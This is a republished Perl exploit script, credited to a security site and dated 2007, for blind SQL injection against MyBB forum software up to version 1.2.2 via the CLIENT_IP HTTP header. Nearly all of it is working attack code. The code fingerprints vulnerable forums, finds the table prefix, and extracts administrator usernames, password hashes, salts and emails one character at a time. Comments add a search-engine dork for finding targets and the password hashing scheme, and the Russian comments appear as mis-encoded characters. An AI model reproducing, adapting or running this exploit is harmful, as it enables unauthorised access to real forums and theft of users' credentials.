exploits , vulnerabilities , articles , MyBulletinBoard (MyBB) <= 1.2.2 (CLIENT-IP) SQL Injection Exploit

Rated as : High Risk

#!/usr/bin/perl
###########################################################
#########################  LOGO  ##########################
###########################################################
#     Mybb <= 1.2.2 Remote SQL Injecton Exploit v.2.0     #
#                                                         #
#       [u]used:   SQL CLIENT_IP vulnerability            #
#       [!]need:   Mysql >= 4.1                           #
#       [w]work:   blind sql-inj                          #
#       [g]google: Powered By MyBB                        #
#                                                         #
#               coded by Elekt (antichat.ru)              #
###########################################################
#######################  Coments  #########################
###########################################################
#
# Îïèñàíèå:
# Ðàáîòà ýêñïëîéòà îñíîâàíà íà sql-èíúåêöèè â HTTP_CLIENT_IP.
# Íåàâòîðèçîâàííûé ïîëüçîâàòåëü ìîæåò âûïîëíèòü ïðîèçâîëüíûé SQL-çàïðîñ â
áàçó.
#
# http://host.com/mybb/index.php
# MySQL error: 1064
# You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '">''
at line 3
# Query: DELETE FROM mybb_sessions WHERE ip=''">'
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Ýòî íîâàÿ âåðñèÿ ýêñïëîéòà. 
# Ìíîé áûë íàéäåí ñïîñîá îòêàçàòüñÿ îò èñïîëüçîâàíèÿ benchmark,
# ÷òî ïîçâîëÿåò óñêîðèòü ðàáîòó ýêñïëîéòà, ïîâûñèòü íàäåæíîñòü ïîëó÷åííûõ
äàííûõ.
# 
# Ðàáîòà ýêñïëîéòà îñíîâàíà íà ïðîâîöèðîâàíèè "Subquery returns more
than 1 row" îøèáêè,
# ÷òî ïîçâîëÿåò ïðîèçâåñòè blind-sql-inj: 
# 
# mybb
# match: "Subquery returns more than 1 row"
# CLIENT_IP: 123' or 1=(select null from mybb_users where
length(if(ascii(substring((select password from mybb_users where
uid=1),1,1))>1,password,uid))<5)/*
# CLIENT_IP: 123' or 1=(select null from mybb_users where
length(if(ascii(substring((select password from mybb_users where
uid=1),1,1))>254,password,uid))<5)/*
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# 
# Ïîëåçíûå òàáëèöû è ïîëÿ:
# mybb_1.2.1: mybb_users -
uid,username,password,salt,email,loginkey,icq,aim,regip
# 
# Àëãîðèòì ãåíåðàöèè ïàðîëåé â mybb:
# md5(md5($salt).md5($password))
# generate_salt{return random_str(8);}
# 
###########################################################
#########################  init  ###########################
###########################################################

use LWP::UserAgent; 
$sock = LWP::UserAgent->new();

$|=1;

&header();


###########################################################
#######################  Options  #########################
###########################################################

if (@ARGV < 2) {&info(); exit();}

$host = $ARGV[0]; # ñåðâàê
$dir = $ARGV[1];  # äèðà ñ ôîðóìîì
$uid = 2;         # àêê àäìèíà ïî äåôàóëòó
$uid = $ARGV[2] if $ARGV[2];

$debug = 0;            # ðåæèì îòëàäêè
$space = "char(58)";   # ðàçäåëèòåëü ñòîëáöîâ
#$search = "password";  # ÷òî áðóòèì, ñîáñòâåííî...
#$search = "concat(uid,$space,password,$space,salt)"; #
uid:password:salt
$search =
"concat(uid,$space,username,$space,password,$space,salt,$space,email)";
# uid:username:password:salt:email
$search = $ARGV[3] if $ARGV[3];

# $presetascii - äèàïàçîí ascii-êîäîâ äëÿ áðóòà âåðîÿòíûõ äàííûõ
# $presetascii = "0123456789abcdef";
# $presetascii = "0123456789"
# $presetascii = "abcdefghijklmnopqrstuvwxyz"
# $presetascii = "0123456789abcdefghijklmnopqrstuvwxyz"
# $presetascii = "àáâãäå¸æçèéêëìíîïðñòóôõö÷øùúûüýþÿ");
# öèêë, äëÿ ïðîñòîòû çàäà¸ò âñå ñèìâîëû äëÿ ïåðåáîðà 
$i=0;
while($i<=255){
$presetascii.=chr($i);$i++;
}

###########################################################
#########################  go!  ###########################
###########################################################


$time=localtime;
&log ("[i] Start time  $time\n");
&log ("[+] HOST \"$host\"\n");
&log ("[+] DIR  \"$dir\"\n");
&log ("[+] UID  \"$uid\"\n");
&log ("[+] Search  \"$search\"\n");

###########################################################
###### detecting vulnerability and searching prefix #######
###########################################################

# detecting vulnerability and searching prefix
&log ("[~] Testing forum vulnerabile... ");
$q = "";
$prefix=query($q,$host,$dir);
if($prefix ne "not_find"){&log ("Yes! Forum
vulnerable!\n");sleep(1);&log ("[~] Searching
prefix...");sleep(1);&log (" prefix find -
\"$prefix\"\n"); }
else 
    {
     &log ("Sorry. Forum unvulnerable\n");
	 &footer();
     exit();
    }


###########################################################
#####################   brutforce   #######################
###########################################################

# brutforce
&log ("[~] Brutforce begin! it may take some time, plz,
wait...\n");
$kol=1;
for ($control=0;$control==0;){
   &log("\n---------------- Simvol $kol ----------------\n\n")
if $debug;
   $amin = 1;
   $amax = length($presetascii)-1;
   $n=0;

   # åñëè äèàïàçîí 4 è áîëåå ñèìâîëîâ, ïåðåîïðåäåëÿåì äèàïàçîí, óìåíüøàÿ
åãî â 2 ðàçà
   while (($amax-$amin)>=4){
        print ("-> Try
".ord(substr($presetascii,$amin,1))." ..
".ord(substr($presetascii,$amax,1))." -> ") if $debug;;
	#$q = "or 1=if((ascii(substring((select ".$search." from
".$prefix."users where
uid='".$uid."'),".$kol.",1))>=".ord(substr($presetascii,int($amax-($amax-$amin)/2),1))."),1,benchmark(".$benchmark.",md5(char(114,115,116))))/*";
	$q = "or 1=(select null from ".$prefix."users where
length(if((ascii(substring((select ".$search." from
".$prefix."users where
uid='".$uid."'),".$kol.",1))>=".ord(substr($presetascii,int($amax-($amax-$amin)/2),1))."),password,uid))<5)/*";
        if (query($q,$host,$dir) eq "not_find") { 
          print
("Char>=".ord(substr($presetascii,int($amax-($amax-$amin)/2),1))."\n")
if $debug;;
          $amin=int($amax-($amax-$amin)/2); }
        else { 
          print
("Char<".ord(substr($presetascii,int($amax-($amax-$amin)/2),1))."\n")
if $debug;;
          $amax=int($amax-($amax-$amin)/2); };
   }
   
   # åñëè äèàïàçîí ìåíåå 4-õ ñèìâîëîâ, òî ïåðåõîäèì ê ïåðåáîðó
   while ($amin<=$amax) {
     print ("-> Try
".ord(substr($presetascii,$amin,1))." ->") if $debug;;
     # ïðîâåðÿåì îòâåò ñêðèïòà, åñëè îòâåò ïîëîæèòåëüíûé òî âûâîäèì ñèìâîë
è èùåì ñëåäóþùèé ñèìâîë â ñëîâå, åñëè íå îïðåäåëÿåì ñèìâîë - âûõîä.
	#$q = "or 1=if((ascii(substring((select ".$search." from
".$prefix."users where
uid='".$uid."'),".$kol.",1))=".ord(substr($presetascii,$amin,1))."),1,benchmark(".$benchmark.",md5(char(114,115,116))))/*";
	$q = "or 1=(select null from ".$prefix."users where
length(if((ascii(substring((select ".$search." from
".$prefix."users where
uid='".$uid."'),".$kol.",1))=".ord(substr($presetascii,$amin,1))."),password,uid))<5)/*";
     if (query($q,$host,$dir) eq "not_find") {
          &log (" FOUND!\n-> Ascii:
".ord(substr($presetascii,$amin,1))."\n-> Char:
\"".substr($presetascii,$amin,1)."\"\n") if
$debug;; 
          &log ("[$kol] Find -
ascii:\"".ord(substr($presetascii,$amin,1))."\",
char:\"".substr($presetascii,$amin,1)."\"\n") if
!$debug;
          $rezultat_char = $rezultat_char.substr($presetascii,$amin,1); 
          $rezultat_ascii =
$rezultat_ascii.ord(substr($presetascii,$amin,1)).","; 
          $amin=$amax+1;$control=1;}
        else { print (" NO =(\n") if $debug; $amin=$amin+1; };
   }
   if ($control==0) { 
     if($amin!=5){$rezultat_char =
$rezultat_char."?";$rezultat_ascii =
$rezultat_ascii."?,";
                  &log ("[$kol] Error! not found =( $amin\n") if
!$debug;
                  &log (" Error! not found =(\n") if $debug;
     }else{$control=1;}
   }else {$control=0;}
   $kol++;
}

print ("\n[!] Yyyy-a-a-a-h-h-uuu!!!\n");
&log ("\n[*] Char: $rezultat_char\n[*] Ascii:
$rezultat_ascii\n");
$time=localtime;
&log ("\n[i] Finish time  $time\n\n");


&footer();
exit();

###########################################################
########################  log   ##########################
###########################################################
# ëîã
sub log($)
    {
     open(RES,">>".$host."_log.txt") || die
"[-] Cannot open log file!"; ## Îòêðûâàåì ëîã äëÿ äîçàïèñè
     print ("$_[0]");
     print RES ("$_[0]");
     close(RES);
    }

###########################################################
######################## footer  ##########################
###########################################################
# ýïèëîã
sub footer()
    {
     print ("[G] Greets: Elekt (antichat.ru), 1dt.w0lf
(rst/ghc)\n");
     print ("[L] Visit : www.antichat.ru\n");
    }


###########################################################
######################## header  ##########################
###########################################################
# õèäåð
sub header()
{
print q(
=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=
+     Mybb <= 1.2.2 Remote SQL Injecton Exploit v.2.0     +
+                                                         +
+       [i]used:   SQL CLIENT_IP vulnerability            +
+       [!]need:   Mysql >= 4.1                           +
+       [w]work:   blind sql-inj                          +
+       [i]google: Powered By MyBB                        +
+                                                         +
+               coded by Elekt (antichat.ru)              +
=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_+
);
}


###########################################################
########################  info   ##########################
###########################################################
# èíôî
sub info()
{
 print q(
[i] Usage: 
 perl mybb122exp.pl [host] [/dir/] [uid] [search]
*-required
  *[host] - target host without http://
  *[/dir/] - installed forums dir
   [uid] - user uid (default=2)
   [search] - data (uid:username:password:salt:email)
	   
[E] Example: perl mybb122exp.pl host.com /forum/ 1 password

[i] mybb: md5(md5($salt).md5($password))

 );
}

###########################################################
#######################  sender   #########################
###########################################################
# ïðîöåäóðà ïðèåìà\ïîñûëêè äàííûõ
sub query()
    {
     #&log ("\n\n$q\n\n") if $debug;
     my($q,$host,$dir) = @_;
     $res =
$sock->get("http://".$host.$dir."index.php",'USER_AGENT'=>'Mozilla/4.0
(compatible; MSIE 7.0; Windows NT 5.1)','CLIENT_IP'=>"' ".$q);

     if($res->is_success)
        {
             if($res->as_string =~ /FROM (.*)sessions/) { return $1; }
else {return "not_find";}
        }
     else{&log ("\n[!] Connection to $host FAILED! EXIT\n");
exit;}
    }


securitydot.net - 2007-04-12